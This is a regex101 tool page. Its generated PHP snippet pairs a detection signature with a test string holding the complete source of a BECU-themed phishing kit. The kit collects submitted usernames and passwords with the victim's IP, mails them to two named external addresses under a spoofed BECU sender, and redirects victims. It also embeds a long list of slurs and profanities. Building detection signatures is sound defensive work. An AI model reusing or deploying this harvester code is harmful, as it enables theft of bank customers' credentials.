Regular Expressions 101

Save & Share

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Match everything enclosed
    (?:...)
  • Capture everything enclosed
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*function\s*generaterandomstring.{0,390}?getenv\(["\']remote_addr[\'"]\);\s*\$message[\s*="\-]+.{0,350}?\$subject\s*=\s*"becu\s*rezult\s*\|\s*\$ip.{0,5700}?exit\(header\(["\']location[:\s\w\/]+becu\.org.{0,250}?location:\s*\w+\.php\?\&.{0,90}?\$msg,"\$headers[[:punct:]\s]+$/is'; $str = '<?php function generateRandomString($length = 10) { $characters = \'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\'; $charactersLength = strlen($characters); $randomString = \'\'; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } $ip = getenv("REMOTE_ADDR"); $message = "---------------------------------\\n"; $message .= "Username Error: ".$_POST[\'username1\']."\\n"; $message .= "Password Error: ".$_POST[\'password1\']."\\n"; $message .= "--------xXx--------\\n"; $message .= "IP Address: $ip \\n"; $recipient = "bless4ever19@gmail.com,re19ox@protonmail.com"; $subject = "BECU ReZulT | $ip"; $headers = "From: BECU <customer@becu.org>\\n"; $headers .= "MIME-Version: 1.0\\n"; //$headers .= "Content-Type: text/plain; charset=UTF-8\\n"; //$headers .= "Content-Transfer-Encoding: 8bit\\n"; $warnsubj = "Abuse"; $warn = "A user (with ip: $ip) has attempted to send you a completed form containing abusive language.This user has been redirected to the official site and blocked from accessing the page again."; $bad_words = array(\'9999\',\'4r5e\',\'5h1t\',\'5hit\',\'a55\',\'anal\',\'anus\',\'ar5e\',\'arrse\',\'arse\',\'ass\',\'ass-fucker\',\'asses\',\'assfucker\',\'assfukka\',\'asshole\',\'assholes\',\'asswhole\',\'a_s_s\',\'b!tch\',\'b00bs\',\'b17ch\',\'b1tch\',\'ballbag\',\'balls\',\'ballsack\',\'bastard\',\'beastial\',\'beastiality\',\'bellend\',\'bestial\',\'bestiality\',\'bi+ch\',\'biatch\',\'bitch\',\'bitcher\',\'bitchers\',\'bitches\',\'bitchin\',\'bitching\',\'bloody\',\'blow job\',\'blowjob\',\'blowjobs\',\'boiolas\',\'bollock\',\'bollok\',\'boner\',\'boob\',\'boobs\',\'booobs\',\'boooobs\',\'booooobs\',\'booooooobs\',\'breasts\',\'buceta\',\'bugger\',\'bum\',\'bunny fucker\',\'butt\',\'butthole\',\'buttmuch\',\'buttplug\',\'c0ck\',\'c0cksucker\',\'carpet muncher\',\'cawk\',\'chink\',\'cipa\',\'cl1t\',\'clit\',\'clitoris\',\'clits\',\'cnut\',\'cock\',\'cock-sucker\',\'cockface\',\'cockhead\',\'cockmunch\',\'cockmuncher\',\'cocks\',\'cocksuck \',\'cocksucked \',\'cocksucker\',\'cocksucking\',\'cocksucks \',\'cocksuka\',\'cocksukka\',\'cok\',\'cokmuncher\',\'coksucka\',\'coon\',\'cox\',\'crap\',\'cum\',\'cummer\',\'cumming\',\'cums\',\'cumshot\',\'cunilingus\',\'cunillingus\',\'cunnilingus\',\'cunt\',\'cuntlick \',\'cuntlicker \',\'cuntlicking \',\'cunts\',\'cyalis\',\'cyberfuc\',\'cyberfuck \',\'cyberfucked \',\'cyberfucker\',\'cyberfuckers\',\'cyberfucking \',\'d1ck\',\'damn\',\'dick\',\'dickhead\',\'dildo\',\'dildos\',\'dink\',\'dinks\',\'dirsa\',\'dlck\',\'dog-fucker\',\'doggin\',\'dogging\',\'donkeyribber\',\'doosh\',\'duche\',\'dyke\',\'ejaculate\',\'ejaculated\',\'ejaculates \',\'ejaculating \',\'ejaculatings\',\'ejaculation\',\'ejakulate\',\'f u c k\',\'f u c k e r\',\'f4nny\',\'fag\',\'fagging\',\'faggitt\',\'faggot\',\'faggs\',\'fagot\',\'fagots\',\'fags\',\'fanny\',\'fannyflaps\',\'fannyfucker\',\'fanyy\',\'fatass\',\'fcuk\',\'fcuker\',\'fcuking\',\'feck\',\'fecker\',\'felching\',\'fellate\',\'fellatio\',\'fingerfuck \',\'fingerfucked \',\'fingerfucker \',\'fingerfuckers\',\'fingerfucking \',\'fingerfucks \',\'fistfuck\',\'fistfucked \',\'fistfucker \',\'fistfuckers \',\'fistfucking \',\'fistfuckings \',\'fistfucks \',\'flange\',\'fook\',\'fooker\',\'fuck\',\'fucka\',\'fucked\',\'fucker\',\'fuckers\',\'fuckhead\',\'fuckheads\',\'fuckin\',\'fucking\',\'fuckings\',\'fuckingshitmotherfucker\',\'fuckme \',\'fucks\',\'fuckwhit\',\'fuckwit\',\'fudge packer\',\'fudgepacker\',\'fuk\',\'fuker\',\'fukker\',\'fukkin\',\'fuks\',\'fukwhit\',\'fukwit\',\'fux\',\'fux0r\',\'f_u_c_k\',\'gangbang\',\'gangbanged \',\'gangbangs \',\'gaylord\',\'gaysex\',\'goatse\',\'God\',\'god-dam\',\'god-damned\',\'goddamn\',\'goddamned\',\'hardcoresex \',\'hell\',\'heshe\',\'hoar\',\'hoare\',\'hoer\',\'homo\',\'hore\',\'horniest\',\'horny\',\'hotsex\',\'jack-off \',\'jackoff\',\'jap\',\'jerk-off \',\'jism\',\'jiz \',\'jizm \',\'jizz\',\'kawk\',\'knob\',\'knobead\',\'knobed\',\'knobend\',\'knobhead\',\'knobjocky\',\'knobjokey\',\'kock\',\'kondum\',\'kondums\',\'kum\',\'kummer\',\'kumming\',\'kums\',\'kunilingus\',\'l3i+ch\',\'l3itch\',\'labia\',\'lmfao\',\'lust\',\'lusting\',\'m0f0\',\'m0fo\',\'m45terbate\',\'ma5terb8\',\'ma5terbate\',\'masochist\',\'master-bate\',\'masterb8\',\'masterbat*\',\'masterbat3\',\'masterbate\',\'masterbation\',\'masterbations\',\'masturbate\',\'mo-fo\',\'mof0\',\'mofo\',\'mothafuck\',\'mothafucka\',\'mothafuckas\',\'mothafuckaz\',\'mothafucked \',\'mothafucker\',\'mothafuckers\',\'mothafuckin\',\'mothafucking \',\'mothafuckings\',\'mothafucks\',\'mother fucker\',\'motherfuck\',\'motherfucked\',\'motherfucker\',\'motherfuckers\',\'motherfuckin\',\'motherfucking\',\'motherfuckings\',\'motherfuckka\',\'motherfucks\',\'muff\',\'mutha\',\'muthafecker\',\'muthafuckker\',\'muther\',\'mutherfucker\',\'n1gga\',\'n1gger\',\'nazi\',\'nigg3r\',\'nigg4h\',\'nigga\',\'niggah\',\'niggas\',\'niggaz\',\'nigger\',\'niggers \',\'nob\',\'nob jokey\',\'nobhead\',\'nobjocky\',\'nobjokey\',\'numbnuts\',\'nutsack\',\'orgasim \',\'orgasims \',\'orgasm\',\'orgasms \',\'p0rn\',\'pawn\',\'pecker\',\'penis\',\'penisfucker\',\'phonesex\',\'phuck\',\'phuk\',\'phuked\',\'phuking\',\'phukked\',\'phukking\',\'phuks\',\'phuq\',\'pigfucker\',\'pimpis\',\'piss\',\'pissed\',\'pisser\',\'pissers\',\'pisses \',\'pissflaps\',\'pissin \',\'pissing\',\'pissoff \',\'poop\',\'porn\',\'porno\',\'pornography\',\'pornos\',\'prick\',\'pricks \',\'pron\',\'pube\',\'pusse\',\'pussi\',\'pussies\',\'pussy\',\'pussys \',\'rectum\',\'retard\',\'rimjaw\',\'rimming\',\'s hit\',\'s.o.b.\',\'sadist\',\'schlong\',\'screwing\',\'scroat\',\'scrote\',\'scrotum\',\'semen\',\'sex\',\'sh!+\',\'sh!t\',\'sh1t\',\'shag\',\'shagger\',\'shaggin\',\'shagging\',\'shemale\',\'shi+\',\'shit\',\'shitdick\',\'shite\',\'shited\',\'shitey\',\'shitfuck\',\'shitfull\',\'shithead\',\'shiting\',\'shitings\',\'shits\',\'shitted\',\'shitter\',\'shitters \',\'shitting\',\'shittings\',\'shitty \',\'skank\',\'slut\',\'sluts\',\'smegma\',\'smut\',\'snatch\',\'son-of-a-bitch\',\'spac\',\'spunk\',\'s_h_i_t\',\'t1tt1e5\',\'t1tties\',\'teets\',\'teez\',\'testical\',\'testicle\',\'tit\',\'titfuck\',\'tits\',\'titt\',\'tittie5\',\'tittiefucker\',\'titties\',\'tittyfuck\',\'tittywank\',\'titwank\',\'tosser\',\'turd\',\'tw4t\',\'twat\',\'twathead\',\'twatty\',\'twunt\',\'twunter\',\'v14gra\',\'v1gra\',\'vagina\',\'viagra\',\'vulva\',\'w00se\',\'wang\',\'wank\',\'wanker\',\'wanky\',\'whoar\',\'whore\',\'willies\',\'willy\',\'xrated\',\'fuck\',\'fuckoff\',\'fuck off\',\'fucking\',\'nigger\',\'nigerian\',\'Nigerian\',\'scam\',\'cunt\',\'wankers\',\'twats\',\'scammers\',\'shit\',\'wanker\',\'cunt\',\'asshole\',\'arsehole\',\'passwd\',\'sample\',\'qwqwqwqwq\',\'sdasdasda\',\'dfgdfgdg\',\'ppppppppp\',\'aaaaaaaa\'); foreach($bad_words as $bad_word){ if(stristr($_POST[\'username1\'], $bad_word) !== false) { mail($recipient,$warnsubj,$warn,$headers); exit(header("Location: https://becu.org")); } if(stristr($_POST[\'password1\'], $bad_word) !== false) { mail($recipient,$warnsubj,$warn,$headers); exit(header("Location: https://becu.org")); } } if(mail($recipient, $subject, $message,$headers)){ //header("Location: identify.php?&".generateRandomString(200)); }else{ echo "error sending email"; } header("Location: email.php?&".generateRandomString(200)); //mail($recipient, $subj, $msg,"$headers"); ?>'; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php